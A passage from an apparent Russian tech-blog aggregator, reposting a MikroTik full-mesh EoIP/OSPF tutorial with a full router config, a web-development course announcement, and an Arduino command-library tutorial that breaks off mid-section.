...

суббота, 12 ноября 2016 г.

[Из песочницы] Настройка FullMesh сети на Mikrotik через EoIP туннели

Начальная ситуация такая: есть 8 офисов в разных частях страны, надо их свести в единую сеть так, чтобы доступность каждого офиса была максимальной при любых катаклизмах. В качестве роутеров во всех офисах стоят Mikrotik. На основной площадке — CCR CCR1036-12G, на остальных — 1100 AHx2

Во избежание проблем с интернетом было протянуто по 2 канала от разных провайдеров, питание тоже зарезервировали и пришли к вопросу “а какую сеть-то строить?”. Как видно из названия статьи, в итоге решили строить FullMesh.

Эта схема полностью удовлетворяет требованиям руководства — при выходе из строя любого интернет-канала или даже любого офиса сеть остается связной. Остался только вопрос с маршрутизацией. Из вариантов был всеобщий бридж с RSTP, OSPF и статические маршруты. Естественно я в итоге выбрал OSPF — меньше проблем, чем на статике и меньше нагрузки для маршрутизаторов, чем при RSTP.

Сама настройка и готовый конфиг под катом.

Соединять маршрутизаторы решил с помощью EoIP туннелей, по 2 на каждую пару — с основного провайдера на основной и с резервного на резервный. Конфигурацию опишу для одной пары, так как остальные настраиваются идентично.

На первом маршрутизаторе создаем 2 туннеля:

/interface eoip
ladd keepalive=1s,3 local-address=xxx.xxx.xxx.xxx  name=FIRST remote-address=yyy.yyy.yyy.yyy tunnel-id=1
add keepalive=1s,3 local-address=zzz.zzz.zzz.zzz  name=FIRST_BAK remote-address=www.www.www.www tunnel-id=2


Поднимаем туннели со второй стороны:
/interface eoip
ladd keepalive=1s,3 local-address=yyy.yyy.yyy.yyy   name=FIRST remote-address=xxx.xxx.xxx.xxx tunnel-id=1
add keepalive=1s,3 local-address=www.www.www.www  name=FIRST_BAK remote-address=zzz.zzz.zzz.zzz tunnel-id=2


Настраиваем OSPF, маршрутами будем обмениваться через зону backbone.

На первом маршрутизаторе:

/routing ospf area
add area-id=192.168.0.1 name=FIRST

/routing ospf interface
add cost=10 dead-interval=5s hello-interval=1s interface=FIRST \
    network-type=point-to-point use-bfd=yes
add cost=10 dead-interval=5s hello-interval=1s interface=FIRST_BAK \
    network-type=point-to-point use-bfd=yes

/routing ospf network
add area=FIRST network=192.168.0.0/24
add area=backbone network=10.0.0.0/22


На втором маршрутизаторе:
/routing ospf area
add area-id=192.168.1.1 name=SECOND

/routing ospf interface
add cost=10 dead-interval=5s hello-interval=1s interface=FIRST \
    network-type=point-to-point use-bfd=yes
add cost=10 dead-interval=5s hello-interval=1s interface=FIRST_BAK \
    network-type=point-to-point use-bfd=yes

/routing ospf network
add area=SECOND network=192.168.1.0/24
add area=backbone network=10.0.0.0/22


И наконец добавляем адреса для созданных туннелей:

На первом маршрутизаторе:

ip address add address=10.0.1.1/30 interface=FIRST network=10.0.1.0
ip address add address=10.0.1.5/30 interface=FIRST_BAK network=10.0.1.4


На втором маршрутизаторе:
ip address add address=10.0.1.2/30 interface=FIRST network=10.0.1.0
ip address add address=10.0.1.6/30 interface=FIRST_BAK network=10.0.1.4


Получаем 2 маршрутизатора, которые обмениваются маршрутами на свои зоны по OSPF. Повторяем данную процедуру для всех пар маршрутизаторов.

В итоге получаем вот такую FullMesh сеть (заранее прошу прощения за качество схемы — не нашел чем адекватно рисовать схему сети на Linux, потому использовал онлайн рисовалку Gliffy):

Все маршрутизаторы входят в общую backbone area с id 0.0.0.0 + каждый из них является пограничным для своей собственной зоны с ID равным локальному IP маршрутизатора.

Сразу после того, как маршрутизаторы обнаруживают друг друга, они обмениваются известными им маршрутами, и на основании стоимости линка выбирают лучшие. В данной конфигурации лучшим маршрутом всегда будет самый прямой (точнее 2 прямых маршрута — основной и резервный), в случае отказа которого трафик, идущий через отказавший маршрут будет доставлен через все маршрутизаторы, оставшиеся доступными.

Таким образом нас перестали пугать технические работы у провайдера, а также периодические проблемы с проходимостью GRE пакетов по определенным направлениям — для полной связности сети достаточно функционирования менее чем половины существующих туннелей. Ну, а бонусом мы получили балансировку трафика между туннелями — так как стоимости у основных и резервных туннелей одинаковые, OSPF автоматически отправляет трафик в оба туннеля, балансируя нагрузку между ними примерно поровну.

Если у вас возникнут вопросы или предложения по оптимизации данной конфигурации — добро пожаловать в комментарии.

Как и обещал, готовый конфиг одного из маршрутизаторов (все имена и IP изменены по соглашению со службой безопасности):

Конфиг
# aug/23/2015 19:15:28 by RouterOS 6.30.2
# software id = 4RCZ-RTPX
#

/interface ethernet
set [ find default-name=ether10 ] mac-address=4C:5E:0C:5A:64:22 name=\
    ISP2
set [ find default-name=ether1 ] mac-address=4C:5E:0C:5A:64:19
set [ find default-name=ether2 ] mac-address=4C:5E:0C:5A:64:1A master-port=\
    ether1
set [ find default-name=ether3 ] mac-address=4C:5E:0C:5A:64:1B master-port=\
    ether1
set [ find default-name=ether4 ] mac-address=4C:5E:0C:5A:64:1C master-port=\
    ether1
set [ find default-name=ether5 ] mac-address=4C:5E:0C:5A:64:1D master-port=\
    ether1
set [ find default-name=ether6 ] mac-address=4C:5E:0C:5A:64:1E
set [ find default-name=ether7 ] mac-address=4C:5E:0C:5A:64:1F
set [ find default-name=ether8 ] mac-address=4C:5E:0C:5A:64:20
set [ find default-name=ISP1 ] mac-address=4C:5E:0C:5A:64:21 name=ISP1
set [ find default-name=ether11 ] mac-address=4C:5E:0C:5A:64:23
set [ find default-name=ether12 ] mac-address=4C:5E:0C:5A:64:24
set [ find default-name=ether13 ] mac-address=4C:5E:0C:5A:64:25
/interface eoip
add keepalive=1s,3 local-address=xxx.xxx.xxx.xxx mac-address=02:74:DC:6B:70:C1 \
    name=FIRST remote-address=xxx.xxx.xxx.xxx tunnel-id=1
add keepalive=1s,3 local-address=xxx.xxx.xxx.xxx mac-address=02:74:DC:6B:70:C1 \
    name=FIRST_BAK remote-address=xxx.xxx.xxx.xxx tunnel-id=2
add keepalive=1s,3 local-address=xxx.xxx.xxx.xxx mac-address=02:B8:B3:AB:DB:17 \
    name=SECOND remote-address=xxx.xxx.xxx.xxx tunnel-id=3
add keepalive=1s,3 local-address=xxx.xxx.xxx.xxx mac-address=02:3B:12:E5:7E:BC \
    name=SECOND_BAK remote-address=xxx.xxx.xxx.xxx tunnel-id=4
add keepalive=1s,3 local-address=xxx.xxx.xxx.xxx mac-address=02:3B:12:E5:7E:BC \
    name=THIRD remote-address=xxx.xxx.xxx.xxx tunnel-id=5
add keepalive=1s,3 local-address=xxx.xxx.xxx.xxx mac-address=02:B8:B3:AB:DB:17 \
    name=THIRD_BAK remote-address=xxx.xxx.xxx.xxx tunnel-id=6
add keepalive=1s,3 local-address=xxx.xxx.xxx.xxx mac-address=02:B8:B3:AB:DB:17 \
    name=FOURTH remote-address=xxx.xxx.xxx.xxx tunnel-id=7
add keepalive=1s,3 local-address=xxx.xxx.xxx.xxx mac-address=02:3B:12:E5:7E:BC \
    name=FOURTH_BAK remote-address=xxx.xxx.xxx.xxx tunnel-id=8
add keepalive=1s,3 local-address=xxx.xx.xxx.xxx mac-address=02:3B:12:E5:7E:BC \
    name=FIFTH remote-address=xxx.xxx.xxx.xxx tunnel-id=9
add keepalive=1s,3 local-address=xxx.xxx.xxx.xxx mac-address=02:B8:B3:AB:DB:17 \
    name=FIFTH_BAK remote-address=xxx.xxx.xxx.xxx tunnel-id=10
add keepalive=1s,3 local-address=xxx.xxx.xxx.xxx mac-address=02:B8:B3:AB:DB:17 \
    name=SIX remote-address=xxx.xxx.xxx.xxx tunnel-id=11
add keepalive=1s,3 local-address=xxx.xxx.xxx.xxx mac-address=02:3B:12:E5:7E:BC \
    name=SIX_BAK remote-address=xxx.xxx.xxx.xxx tunnel-id=12
add keepalive=1s,3 local-address=xxx.xxx.xxx.xxx mac-address=02:B8:B3:AB:DB:17 \
    name=SEVENTH remote-address=xxx.xxx.xxx.xxx tunnel-id=13
add keepalive=1s,3 local-address=xxx.xxx.xxx.xxx mac-address=02:3B:12:E5:7E:BC \
    name=SEVENTH_BAK remote-address=xxx.xxx.xxx.xxx tunnel-id=14

/routing ospf area
add area-id=192.168.0.1 name=LOCAL
/snmp community
set [ find default=yes ] addresses=192.168.0.0/16
/system logging action
set 0 memory-lines=100
set 1 disk-lines-per-file=100
/tool user-manager customer
set admin access=\
    own-routers,own-users,own-profiles,own-limits,config-payment-gw
/user group
set read policy="read,test,winbox,sniff,sensitive,!local,!telnet,!ssh,!ftp,!re\
    boot,!write,!policy,!password,!web,!api"

/ip firewall connection tracking
set generic-timeout=1m tcp-close-timeout=5s tcp-close-wait-timeout=5s \
    tcp-established-timeout=1m tcp-fin-wait-timeout=5s tcp-last-ack-timeout=\
    5s tcp-time-wait-timeout=5s udp-stream-timeout=1m
/ip address
add address=192.168.0.1/24 interface=ether1 network=192.168.0.0
add address=xxx.xxx.xxx.xxx/xx interface=ISP2 network=xxx.xxx.xxx.xxx
add address=xxx.xxx.xxx.xxx/xx interface=ISP1 network=xxx.xxx.xxx.xxx
add address=10.0.1.18/30 interface=FIRST_BAK network=10.0.1.16
add address=10.0.1.46/30 interface=SECOND network=10.0.1.44
add address=10.0.1.50/30 interface=SECOND_BAK network=10.0.1.48
add address=10.0.1.73/30 interface=THIRD network=10.0.1.72
add address=10.0.1.77/30 interface=THIRD_BAK network=10.0.1.76
add address=10.0.1.86/30 interface=FOURTH network=10.0.1.84
add address=10.0.1.90/30 interface=FOURTH_BAK network=10.0.1.88
add address=10.0.1.94/30 interface=FIFTH network=10.0.1.92
add address=10.0.1.98/30 interface=FIFTH_BAK network=10.0.1.96
add address=10.0.1.102/30 interface=FIRST network=10.0.1.100
add address=10.0.1.217/30 interface=SIX network=10.0.1.216
add address=10.0.1.221/30 interface=SIX_BAK network=10.0.1.220
add address=10.0.1.225/30 interface=SEVENTH network=10.0.1.224
add address=10.0.1.229/30 interface=SEVENTH_BAK network=10.0.1.228

/ip dns
set servers=8.8.4.4
/ip firewall filter
add action=drop chain=input comment="Drop Invalid" connection-state=invalid
add action=drop chain=forward connection-state=invalid 
add chain=input comment=Established connection-state=established
add chain=input comment=Tunnels protocol=gre
add chain=input comment=WinBox dst-port=8291 protocol=tcp
add chain=input comment=NTP dst-port=123 protocol=udp
add chain=input comment="From Local" src-address=192.168.0.0/16
add chain=input comment=Ping protocol=icmp
add action=drop chain=input comment="DONT MOVE - DROP" in-interface=\
    ISP2
add action=drop chain=input comment="DONT MOVE - DROP" in-interface=\
    ISP1
/ip firewall mangle
add action=change-mss chain=forward new-mss=clamp-to-pmtu protocol=tcp \
    tcp-flags=syn tcp-mss=1460-65535
/ip firewall nat
add action=masquerade chain=srcnat out-interface=\
    ISP2
add action=masquerade chain=srcnat out-interface=ISP1
/ip firewall service-port
set ftp disabled=yes
set tftp disabled=yes
set irc disabled=yes
set h323 disabled=yes
set sip disabled=yes
set pptp disabled=yes
/ip route
add check-gateway=ping distance=1 gateway=8.8.8.8
add distance=2 gateway=10.10.20.1
add check-gateway=ping distance=1 dst-address=8.8.8.8/32 gateway=10.10.10.1 scope=10
/ip service
set telnet disabled=yes
set ftp disabled=yes
set www disabled=yes
set ssh disabled=yes 
set api disabled=yes
/routing ospf interface
add interface=FIRST network-type=point-to-point
add interface=FIRST_BAK network-type=point-to-point
add interface=SECOND network-type=point-to-point
add interface=SECOND_BAK network-type=point-to-point
add interface=THIRD network-type=point-to-point
add interface=THIRD_BAK network-type=point-to-point
add interface=FOURTH network-type=point-to-point
add interface=FOURTH_BAK network-type=point-to-point
add interface=FIFTH network-type=point-to-point
add interface=FIFTH_BAK network-type=point-to-point
add interface=SIX network-type=point-to-point
add interface=SIX_BAK network-type=point-to-point
add interface=SEVENTH network-type=point-to-point
add interface=SEVENTH_BAK network-type=point-to-point
add interface=ether1 network-type=broadcast passive=yes
/routing ospf network
add area=backbone network=10.0.0.0/22
add area=FIRST network=192.168.0.0/24
/system clock
set time-zone-autodetect=no time-zone-name=Europe/Kiev
/system identity
set name=MikroTik
/system resource irq rps
set ether1 disabled=yes
set ether2 disabled=yes
set ether3 disabled=yes
set ether4 disabled=yes
set ether5 disabled=yes
set ether6 disabled=yes
set ether7 disabled=yes
set ether8 disabled=yes
set ISP1 disabled=yes
set ISP2 disabled=yes
set ether11 disabled=yes
/system scheduler
add interval=6h name=schedule1 on-event=BackupToMail policy=\
    ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
    oct/28/2014 start-time=01:00:00
add interval=6h name=schedule2 on-event=BackupToFTP policy=\
    ftp,reboot,read,write,policy,test,password,sniff,sensitive start-date=\
    oct/28/2014 start-time=01:00:00
/system script
add name=BackupToMail owner=root policy=\
    ftp,reboot,read,write,policy,test,password,sniff,sensitive source="{\r\
    \n:log info \"Starting Backup Script...\";\r\
    \n:local sysname [/system identity get name];\r\
    \n:local sysver [/system package get system version];\r\
    \n:log info \"Flushing DNS cache...\";\r\
    \n/ip dns cache flush;\r\
    \n:delay 2;\r\
    \n:log info \"Deleting last Backups...\";\r\
    \n:foreach i in=[/file find] do={:if ([:typeof [:find [/file get \$i name]\
    \_\\\r\
    \n\"\$sysname-backup-\"]]!=\"nil\") do={/file remove \$i}};\r\
    \n:delay 2;\r\
    \n:local smtpserv [:resolve \"smtp.gmail.com\"];\r\
    \n:local Eaccount \"xxxxxx@gmail.com\";\r\
    \n:local TOaccount \"xxxxxx@gmail.com\";\r\
    \n:local pass \"xxxxxx\";\r\
    \n:local backupfile (\"\$sysname-backup-\" . \\\r\
    \n[:pick [/system clock get date] 7 11] . [:pick [/system \\\r\
    \nclock get date] 0 3] . [:pick [/system clock get date] 4 6] . \".backup\
    \");\r\
    \n:log info \"Creating new Full Backup file...\";\r\
    \n/system backup save name=\$backupfile;\r\
    \n:delay 2;\r\
    \n:log info \"Sending Full Backup file via E-mail...\";\r\
    \n/tool e-mail send from=\"<\$Eaccount>\" to=\$TOaccount server=\$smtpserv\
    \_\\\r\
    \nport=587 user=\$Eaccount password=\$pass tls=yes file=\$backupfile \\\r\
    \nsubject=(\"\$sysname Full Backup (\" . [/system clock get date] . \")\")\
    \_\\\r\
    \nbody=(\"\$sysname full Backup file see in attachment.\\nRouterOS version\
    : \\\r\
    \n\$sysver\\nTime and Date stamp: \" . [/system clock get time] . \" \" . \
    \\\r\
    \n[/system clock get date]);\r\
    \n:delay 5;\r\
    \n:local exportfile (\"\$sysname-backup-\" . \\\r\
    \n[:pick [/system clock get date] 7 11] . [:pick [/system \\\r\
    \nclock get date] 0 3] . [:pick [/system clock get date] 4 6] . \".rsc\");\
    \r\
    \n:log info \"Creating new Setup Script file...\";\r\
    \n/export file=\$exportfile;\r\
    \n:delay 2;\r\
    \n:log info \"Sending Setup Script file via E-mail...\";\r\
    \n/tool e-mail send from=\"<\$Eaccount>\" to=\$TOaccount server=\$smtpserv\
    \_\\\r\
    \nport=587 user=\$Eaccount password=\$pass tls=yes file=\$exportfile \\\r\
    \nsubject=(\"\$sysname Setup Script Backup (\" . [/system clock get date] \
    . \\\r\
    \n\")\") body=(\"\$sysname Setup Script file see in attachment.\\nRouterOS\
    \_\\\r\
    \nversion: \$sysver\\nTime and Date stamp: \" . [/system clock get time] .\
    \_\" \\\r\
    \n\" . [/system clock get date]);\r\
    \n:delay 5;\r\
    \n:log info \"All System Backups emailed successfully.\\nBackuping complet\
    ed.\";\r\
    \n}"
add name=BackupToFTP owner=antony policy=\
    ftp,reboot,read,write,policy,test,password,sniff,sensitive source="# Set l\
    ocal variables. Change the value in \"\" to reflect your environment.\r\
    \n\r\
    \n:local hostname  [/system identity get name];\r\
    \n:local password \"xxxxxx\"\r\
    \n:local username \"xxxxxx\"\r\
    \n:local ftpserver \"xxx.xxx.xxx.xxx\"\r\
    \n\r\
    \n# Set Filename variables. Do not change this unless you want to edit the\
    \_format of the filename.\r\
    \n\r\
    \n:local time [/system clock get time];\r\
    \n:local date ([:pick [/system clock get date] 0 3]  \\\r\
    \n. [:pick [/system clock get date] 4 6] \\\r\
    \n. [:pick [/system clock get date] 7 11]);\r\
    \n:local filename \"\$hostname-\$date-\$time\";\r\
    \n\r\
    \n# Create backup file and export the config.\r\
    \n\r\
    \nexport compact file=\"\$filename\"\r\
    \n/system backup save name=\"\$filename\"\r\
    \n\r\
    \n:log info \"Backup Created Successfully\"\r\
    \n\r\
    \n# Upload config file to FTP server.\r\
    \n\r\
    \n/tool fetch address=\$ftpserver src-path=\"\$filename.rsc\" \\\r\
    \nuser=\$username mode=ftp password=\$password \\\r\
    \ndst-path=\"\$filename.rsc\" upload=yes\r\
    \n\r\
    \n# Upload backup file to FTP server.\r\
    \n\r\
    \n/tool fetch address=\$ftpserver src-path=\"\$filename.backup\" \\\r\
    \nuser=\$username mode=ftp password=\$password \\\r\
    \ndst-path=\"\$filename.backup\" upload=yes\r\
    \n\r\
    \n:log info \"Backup Uploaded Successfully\"\r\
    \n\r\
    \n# Delete created backup files once they have been uploaded\r\
    \n# so they don't accumulate and fill up storage space on the router.\r\
    \n\r\
    \n/file remove \"\$filename.rsc\"\r\
    \n/file remove \"\$filename.backup\"\r\
    \n\r\
    \n:log info \"Local Backup Files Deleted Successfully\""
/system watchdog
set automatic-supout=no watchdog-timer=no
/tool e-mail
set address=64.233.161.109 from=<mikrotik> password=xxxxxx port=587 \
    user=xxxxxx@gmail.com


Комментарии (0)

    Let's block ads! (Why?)

    [Из песочницы] Установка PROXMOX 4.3 на Soft-RAID 10 GPT

    Лекции Технотрека. Основы веб-разработки (весна 2016)

    Продолжаем публикацию наших образовательных материалов. Этот курс посвящен разработке web-приложений среднего масштаба (иначе говоря, сайтов уровня личного блога). Курс является обзорным и знакомит будущих web-разработчиков с широким спектром технологий и общими принципами работы web-приложений. По сути, курс нужен для того, чтобы «погрузить» студентов в тему и позволить в дальнейшем сконцентрироваться на конкретных технологиях, не теряя из вида общую архитектуру.

    Цель курса — всестороннее изучение устройства и принципов работы современных web-приложений и сети интернет в целом, а также получение практических навыков web-разработки. Акцент в курсе сделан на backend-разработку. На каждом из лекционных занятий студентам выдается задание, в ходе выполнения которых шаг за шагом формируется конечный проект, готовый к тому, чтобы стать первым в портфолио будущего web-разработчика.

    В качестве инструментария студенты в ходе курса обзорно знакомятся с администрированием nginx, MySQL и Redis, разработкой на Django и использованием таких библиотек и продуктов, как Centrifugo, Gunicorn, Celery, Elasticsearch. Кроме того, разбираются основы верстки и работы CSS-фреймворками и JS-компонентами. Курс ведут Илья Стыценко (разработчик в подразделении внутренней информационной разработки) и Денис Исаев (руководитель группы программистов C/C++ в Почте Mail.Ru). Более подробно — под катом.

    Лекция 1. «Введение + сетевые протоколы»



    В первой лекции рассказывается, кому и зачем действительно нужна web-разработка, как строится проект (от наличия ТЗ и до выкладки на боевые сервера). Рассматриваются назначение и принципы работы сети в целом и сетевых протоколов (DNS, IP, TCP, HTTP/HTTPS).

    Лекция 2. «Web-серверы»



    В основе этого занятия несколько тем: основы UNIX-систем, способы серверной работы с сокетами, схема устройства работы web-серверов (и обработки сетевых соединений), администрирование nginx как web-сервера и использование gunicorn как сервера приложений.

    Лекция 3. «Серверная разработка»



    Представляем студентам понятие web-фреймворка. Рассказываем о том, какие они бывают и чем отличаются друг от друга. Разбираем парадигму MVC и её применение в Django. Изучаем базовые особенности django и каждого из компонентов, начинаем строить модели данных и readonly-часть будущего проекта.

    Лекция 4. «Обработка пользовательских данных»



    Посмотрим, как сделать так, чтобы пользователь мог создавать и изменять контент на сайте: как происходит получение данных от пользователя, валидация данных со стороны сервера, создание и редактирование объектов. Касаемся темы авторизации.

    Лекция 5. «HTML, CSS, JavaScript»



    Рассматриваем верстку. Простая тема о принципах рендера в современных браузерах, студенты знакомятся с HTML, CSS, DOM-моделью. Даем самые основы применения JavaScript и jQuery.

    Лекция 6. «Серверная разработка tier 2»



    Агрегирование данных в БД, AJAX-запросы и JSON, generic-связи между моделями, management-команды Django.

    Лекция 7. «Дополнительные темы. Вглубь Django»



    Лекция посвящена обзорным темам о том, что и почему мы делаем в web-разработке: архитектуре серверов, real-time в web-приложениях (применяем websockets, используя Centrifugo), очередям (используем Celery), поиску по сайту (Elasticsearch, Sphinx, Haystack, вот это всё). Рассматриваем вопрос кеширования в Django и в web-проектах в целом.

    Лекция 8. «Выкатка сайта на продакшн»



    Заключительная лекция. Вы узнаете, как мы выкатываем сайты на продакшн: выбираем домен, имя и сервер; работаем с сервером (SSH/терминал, мониторинг, логи, backup, безопасность и т.д.). И чуть-чуть о SEO. Просто так, на десерт.

    По завершению курса вы научитесь использовать MVC-фреймворки, получите опыт верстки HTML-страниц как “голышом”, так и с использованием CSS-фреймворков вроде Bootstrap. Помимо разработки наши студенты учатся устанавливать и настраивать web-сервера, проектировать модель данных, получают навык отладки web-приложений на всех этапах исполнения.

    Плейлист всех лекций находится по ссылке. Напомним, что актуальные лекции и мастер-классы о программировании от наших IT-специалистов в проектах Технопарк, Техносфера и Технотрек по-прежнему публикуются на канале Технострим.

    Илья Стыценко зарегистрирован на Хабре как sat2707 и, если у вас есть вопросы, сможет ответить в комментариях.

    Комментарии (0)

      Let's block ads! (Why?)

      [Из песочницы] Консолька в роботе на Ардуине

      Переслать роботу на Ардуине несколько байт через вайфай, блютус, последовательный порт или любой другой канал связи в виде команды, а потом принять несколько байт в качестве ответа труда не составляет: достаточно скачать скетч с примером обмена данными «здравствуй мир» и вставить в него несколько строк своего кода, который будет выполнять желаемые действия.

      Однако с развитием проекта область вспомогательного кода, который отвечает за связь с внешним миром, раздувается: появляется логика, отделяющая один пакет данных от другого, разрастается лес проверок, что за команда пришла, какие у нее параметры, как её правильно выполнить, что делать, если пакет данных не корректен, если данные пришли не полностью, если они не умещаются в отведенных для них буфер памяти и так далее. Код, обслуживающий вспомогательную логику, переплетается с главным кодом, выполняющим интересную и полезную работу. Заменить один канал связи на другой (например, добавить к последовательному порту вайфай) без переработки накопившейся кодовой базы становится весьма проблематично.

      Долгое время я таскал такой код из одного проекта в другой, новые улучшения и исправления приходилось обновлять во всех проектах параллельно. Это утомительно, чревато появлением новых ошибок и не всегда возможно. Наконец пришло время вынести всю эту логику в отдельную библиотеку.

      Исходная задача: упростить процесс создания прошивки для роботов, которые будут работать в режиме «вопрос-ответ». Главный скетч должен содержать полезный код (что, собственно, должен делать робот) и минимальное количество вспомогательных конструкций. Все вспомогательные транспортно-протокольные блоки окуклить в библиотеку и вынести за пределы внимания инженера.

      В качестве побочного эффекта получилась своеобразная командная строка, работающая внутри Ардуины, если подключиться к ней через монитор последовательного порта и отправлять команды вручную:

      image

      Особенности библиотеки


      — Работа в режиме вопрос-ответ
      — Максимальные размеры входящей команды и ответа ограничены размером буферов (задаются в настройках в скетче)
      — Каналы связи (последовательный порт, вайфай, блютус) взаимозаменяемы, реализованы в виде отдельных подмодулей
      — Нет жестких требований к деталям протокола (строится поверх модулей связи)
      — Новые команды добавляются в виде отдельных функций (подпрограмм) и регистрируются в системе по уникальному имени
      — Механизмы передачи информации об исключительных ситуациях на сторону клиента

      Архитектурно библиотека разбита на 3 уровня:

      — Модули каналов связи (реализована работа через последовательный порт, вайфай и блютус в среднесрочный планах): установка и обслуживание соединения, вычленение пакетов из потока входных данных, отправка ответа.
      — Модуль регистрации и исполнения команд: регистрация функции (подпрограммы) в виде команды, поиск команды по имени, выполнение команды.
      — Вспомогательные контейнерные протоколы: для получения команд и упаковки ответов в пакеты в формате JSON.

      Канал связи через последовательный порт: babbler_serial
      Модуль работы с командами: babbler_h
      Модуль JSON: babbler_json

      Модули относительно независимы друг от друга: можно использовать только модуль канала связи для обмена сырыми данными и выстроить с его помощью собственный протокол, к модулю работы с командами можно подключать другие реализации каналов связи, модуль JSON можно вообще не использовать или поставить на его место реализацию модуля работы с пакетами XML и так далее.

      Далее примеры.

      Установка библиотеки


      Проект на гитхабе: babbler_h
      git clone http://ift.tt/2er7hc5
      

      Или скачать очередной релиз в архиве

      далее поместить подкаталоги babbler_h, babbler_serial, babbler_json в каталог к библиотекам Arduino $HOME/Arduino/libraries, должно получиться:

      $HOME/Arduino/libraries/babbler_h
      $HOME/Arduino/libraries/babbler_serial
      $HOME/Arduino/libraries_babbler_json
      
      

      Всё.

      Запустить среду разработки Ардуино, в меню Файл/Примеры/babbler_h появятся примеры:

      _1_babbler_hello: простая прошивка: настройка канала связи, регистрация команд (встроенные команды: ping и help)
      _2_babbler_custom_cmd: добавление собственных команд (включить/выключить лампочку)
      _3_babbler_cmd_params: команды с параметрами (транспорт для pin_mode/digital_write)
      _4_babbler_cmd_devino: набор команд для получения информации об устройстве
      _5_babbler_custom_handler: собственный обработчик входных данных (то же, что и _1_babbler_hello, только внутренности снаружи)
      _6_babbler_reply_json: ввод/вывод упакован JSON
      _7_babbler_reply_xml: ввод строкой, ответ в XML
      babbler_basic_io: сырой вопрос-ответ через последовательный порт без инфраструктуры модуля команд

      Простой пример: эхо через последовательный порт


      Без использования инфраструктуры работы с командами.

      Файл/Примеры/babbler_h/babbler_basic_io.ino

      Нам нужен только модуль babbler_serial:

      #include "babbler_serial.h"
      
      

      Буферы для получения входящих данных и отправки ответа. Входящий пакет (команда и параметры) должен полностью умещаться в буфер serial_read_buffer (плюс один байт резервируем на один завершающий ноль). Ответ должен полностью умещаться в буфер serial_write_buffer.
      // Размеры буферов для чтения команд и записи ответов
      #define SERIAL_READ_BUFFER_SIZE 128
      #define SERIAL_WRITE_BUFFER_SIZE 512
      // Буферы для обмена данными с компьютером через последовательный порт.
      // +1 байт в конце для завершающего нуля
      char serial_read_buffer[SERIAL_READ_BUFFER_SIZE+1];
      char serial_write_buffer[SERIAL_WRITE_BUFFER_SIZE];
      
      

      Функция-обработчик входящих данных: принимает данные в буфере input_buffer, решает, что с ними делать, записывает ответ в буфер reply_buffer, возвращает количество байт, записанных в буфер ответа. Здесь весь пользовательский код.
      int handle_input(char* input_buffer, int input_len, char* reply_buffer, int reply_buf_size) {
          // добавим к входным данным завершающий ноль, 
          // чтобы рассматривать их как корректную строку
          input_buffer[input_len] = 0;
          
          // как-нибудь отреагируем на запрос - пусть будет простое эхо
          if(reply_buf_size > input_len + 10)
              sprintf(reply_buffer, "you say: %s\n", input_buffer);
          else
              sprintf(reply_buffer, "you are too verbose, dear\n");
        
          return strlen(reply_buffer);
      }
      
      

      Предварительные настройки модуля связи через последовательный порт:

      babbler_serial_setup: передаём буферы для входящих команд и исходящих ответов,
      packet_filter_newline: фильтр новых пакетов — пакеты отделены переводом строки
      babbler_serial_set_input_handler: указатель на функцию-обработчик входных данных в коде пользователя (наш handle_input)

      void setup() {
          Serial.begin(9600);
          Serial.println("Starting babbler-powered device, type something to have a talk");
          
          babbler_serial_set_packet_filter(packet_filter_newline);
          babbler_serial_set_input_handler(handle_input);
          //babbler_serial_setup(
          //    serial_read_buffer, SERIAL_READ_BUFFER_SIZE,
          //    serial_write_buffer, SERIAL_WRITE_BUFFER_SIZE,
          //    9600);
          babbler_serial_setup(
              serial_read_buffer, SERIAL_READ_BUFFER_SIZE,
              serial_write_buffer, SERIAL_WRITE_BUFFER_SIZE,
              BABBLER_SERIAL_SKIP_PORT_INIT);
      }
      
      

      В главный цикл помещаем babbler_serial_tasks: постоянно следим за последовательным портом, ждем входные данные. Вызов babbler_serial_tasks не блокирующий, после него можно размещать любую другую логику.
      void loop() {
          // постоянно следим за последовательным портом, ждем входные данные
          babbler_serial_tasks();
      }
      

      Прошиваем, открываем Инструменты>Монитор порта, вводим сообщения, получаем ответы:

      image

      Простой пример: работа с командами


      Следующий простой пример — работа с командами. Регистрируем в прошивке две встроенные команды (определены в модуле babbler_cmd_core.h):

      help (получить список команд, посмотреть справку по выбранной команде) и
      ping (проверить, живо ли устройство).

      Команда ping:

      ping
      

      Возвращает «ok»

      Команда help:

      help
      

      Вывести список команд:
      help --list
      

      Вывести список команд с кратким описанием
      help имя_команды
      

      Вывести подробную справку по команде.

      Файл/Примеры/babbler_h/_1_babbler_hello.ino

      Здесь инфраструктура для регистрации, поиска и выполнения команд по имени:

      #include "babbler.h"
      
      

      Здесь разбор входящей командной строки: строка разбивается на элементы по пробелам, первый элемент — имя команды, все остальные — параметры.
      #include "babbler_simple.h"
      
      

      Здесь определения команд: help и ping
      #include "babbler_cmd_core.h"
      
      

      Модуль общения через последовательный порт:
      #include "babbler_serial.h"
      
      

      Буферы для ввода и для вывода, здесь всё без изменений.
      // Размеры буферов для чтения команд и записи ответов
      #define SERIAL_READ_BUFFER_SIZE 128
      #define SERIAL_WRITE_BUFFER_SIZE 512
      
      // Буферы для обмена данными с компьютером через последовательный порт.
      // +1 байт в конце для завершающего нуля
      char serial_read_buffer[SERIAL_READ_BUFFER_SIZE+1];
      char serial_write_buffer[SERIAL_WRITE_BUFFER_SIZE];
      
      

      Регистрируем команды — добавляем структуры CMD_HELP и CMD_PING (они определены в babbler_cmd_core.h) в глобальный массив BABBLER_COMMANDS. Попутно фиксируем количество зарегистрированных команд BABBLER_COMMANDS_COUNT — количество элементов в массиве BABBLER_COMMANDS (в Си нельзя узнать размер массива, определенного таким образом, динамически в том месте, где это нам потребуется).
      /** Зарегистрированные команды */
      extern const babbler_cmd_t BABBLER_COMMANDS[] = {
          // команды из babbler_cmd_core.h
          CMD_HELP,
          CMD_PING
      };
      
      /** Количество зарегистрированных команд */
      extern const int BABBLER_COMMANDS_COUNT = sizeof(BABBLER_COMMANDS)/sizeof(babbler_cmd_t);
      
      

      По этой же схеме регистрируем человекочитаемые руководства для зарегистрированных команд в массиве BABBLER_MANUALS — их выводит команда help (можете определить пустой массив без элементов, если хотите поэкономить память, но тогда не будет работать команда help).
      /** Руководства для зарегистрированных команд */
      extern const babbler_man_t BABBLER_MANUALS[] = {
          // команды из babbler_cmd_core.h
          MAN_HELP,
          MAN_PING
      };
      
      /** Количество руководств для зарегистрированных команд */
      extern const int BABBLER_MANUALS_COUNT = sizeof(BABBLER_MANUALS)/sizeof(babbler_man_t);
      
      

      Настраиваем модуль:

